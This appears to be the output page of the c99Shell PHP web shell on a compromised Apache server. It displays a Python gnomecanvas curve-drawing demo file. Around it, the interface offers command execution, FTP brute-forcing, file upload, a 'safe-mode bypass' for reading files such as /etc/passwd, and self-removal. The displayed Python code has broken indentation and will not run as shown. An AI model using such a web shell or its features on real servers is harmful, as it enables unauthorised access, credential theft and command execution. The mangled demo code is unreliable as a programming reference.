!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/share/doc/gnome-python2-canvas-2.16.0/   drwxr-xr-x
Free 50.99 GB of 127.8 GB (39.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     canvas-curve.py (6.77 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
# python port of canvas-curve.c from demos dir of libgnomecanvas
# as such, under GPL
# FIXME: it seems to be somewhat broken...


import gtk
import gtk.gdk # event types
import gnomecanvas

STATE_INIT, STATE_FIRST_PRESS, STATE_FIRST_RELEASE, STATE_SECOND_PRESS = tuple(range(4))

class CurveExample:
    def __init__(self):
        self.width = 400
        self.height = 400
        #static State              current_state;
        self.current_state = STATE_INIT # initialized to 0?
        #static GnomeCanvasItem   *current_item;
        self.current_item = None
        #static GnomeCanvasPoints *current_points;
        self.current_points = [] # list of tuples of coordinates

        # Open window to hold canvas.
        win = gtk.Window()
        #win.connect('destroy', mainquit)
        win.set_title('Canvas Example')

        # Create VBox to hold canvas and buttons.
        vbox = gtk.VBox()
        win.add(vbox)
        vbox.show()

    # Some instructions for people using the example:
    label = gtk.Label("Drag - move object.\n" +
             "Double click - change colour\n" +
             "Right click - delete object")
    vbox.pack_start(label, expand=False)
    label.show()

        # Create canvas.
        self.acanvas = gnomecanvas.Canvas()
        self.acanvas.set_size_request(self.width, self.height)
        self.acanvas.set_scroll_region(0,0, self.width, self.height)
        vbox.pack_start(self.acanvas)
        self.acanvas.show()

        # FIXME: connect callback
        item = self.acanvas.root().add(gnomecanvas.CanvasRect,
                                outline_color= "black", fill_color= "white",
                                x1= 0.0, y1= 0.0, x2= self.width, y2= self.height)
        item.connect("event", self.canvas_event)

        win.show()
    def canvas_event(self, item, event, *args):# need re-check!!
        #print args
        #print item, event
        if event.type == gtk.gdk.BUTTON_PRESS:
            if event.button != 1:
                pass
            if self.current_state == STATE_INIT:
                self.draw_curve(item, event.x, event.y)
                self.current_state = STATE_FIRST_PRESS
            elif self.current_state == STATE_FIRST_RELEASE:
                self.draw_curve(item, event.x, event.y)
                self.current_state = STATE_SECOND_PRESS
            elif self.current_state == STATE_SECOND_PRESS:
                self.draw_curve(item, event.x, event.y)
                self.current_state = STATE_INIT
            else:
                0/0 # can't happen
        if event.type == gtk.gdk.BUTTON_RELEASE:
            if event.button != 1:
                pass
            if self.current_state == STATE_FIRST_PRESS:
                self.draw_curve(item, event.x, event.y)
                self.current_state = STATE_FIRST_RELEASE
                pass
        if event.type == gtk.gdk.MOTION_NOTIFY:
            if self.current_state==STATE_FIRST_PRESS:
                self.draw_curve(item, event.x, event.y)

        return False

    def item_event(self, item, event, *args):
        #print args
        #FIXME: does this work: ?
    if (event.type == gtk.gdk.BUTTON_PRESS) and (event.button == 1) and (event.state & gtk.gdk.SHIFT_MASK):
            item.destroy()
            if (item == self.current_item):
                self.current_item = None
                self.current_state = STATE_INIT
            return True

    return False

    def draw_curve(self, item, x, y):
    #GnomeCanvasPathDef *path_def;
    #GnomeCanvasGroup   *root;
    #root = GNOME_CANVAS_GROUP (item->parent);

    if self.current_state == STATE_INIT:
            #if self.current_item is None:
            # g_assert (!current_item); (but that shouln't happen)
            #FIXEM: port creation of paths
            if self.current_points is None:
                    current_points = []
            self.current_points.append((x,y))

        elif self.current_state == STATE_FIRST_PRESS:
            self.current_points = self.current_points[:1]
            self.current_points.append((x,y))
            #coords [2] = x;
            #current_points->coords [3] = y;

            path=[]
            path.append((gnomecanvas.MOVETO_OPEN, 0,0))
            path.append((gnomecanvas.MOVETO,
                         self.current_points[0][0], self.current_points[0][1]))
            path.append((gnomecanvas.LINETO,
                         self.current_points[1][0], self.current_points[1][1]))
            
            path_def = gnomecanvas.path_def_new(path)
            if self.current_item:
                    self.current_item.set_bpath(path_def)
            else:
                    self.current_item = self.acanvas.root().add(
                        gnomecanvas.CanvasBpath,
                        outline_color="blue",
                        width_pixels= 5,
                        cap_style=gtk.gdk.CAP_ROUND)
                    self.current_item.set_bpath(path_def)
                    self.current_item.connect('event', self.item_event)


    elif self.current_state == STATE_FIRST_RELEASE:
            #g_assert (current_item);
            self.current_points.append((x,y))
            #current_points->coords [4] = x;
            #current_points->coords [5] = y;
            path=[]
            #path_def = gnome_canvas_path_def_new ();
            path.append((gnomecanvas.MOVETO_OPEN, 0,0))
            path.append((gnomecanvas.MOVETO,
                         self.current_points[0][0], self.current_points[0][1]))
            path.append((gnomecanvas.CURVETO,
                         self.current_points[2][0], self.current_points[2][1],
                         self.current_points[2][0], self.current_points[2][1],
                         self.current_points[1][0], self.current_points[1][1]))
            path_def = gnomecanvas.path_def_new(path)
            self.current_item.set_bpath(path_def)
            #gnome_canvas_path_def_unref (path_def);

    elif self.current_state == STATE_SECOND_PRESS:
            #g_assert (current_item);
            self.current_points.append((x,y))
            #current_points->coords [6] = x;
            #current_points->coords [7] = y;
            path=[]
            path.append((gnomecanvas.MOVETO_OPEN, 0,0))
            path.append((gnomecanvas.MOVETO,
                         self.current_points[0][0], self.current_points[0][1]))
            path.append((gnomecanvas.CURVETO,
                         self.current_points[2][0], self.current_points[2][1],
                         self.current_points[3][0], self.current_points[3][1],
                         self.current_points[1][0], self.current_points[1][1]))
            path_def = gnomecanvas.path_def_new(path)
            self.current_item.set_bpath(path_def)
            #gnome_canvas_path_def_unref (path_def);

            self.current_item = None

    else:
            0/0# shouldn't happen


if __name__ == '__main__':
    c = CurveExample()
    gtk.main()

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0111 ]--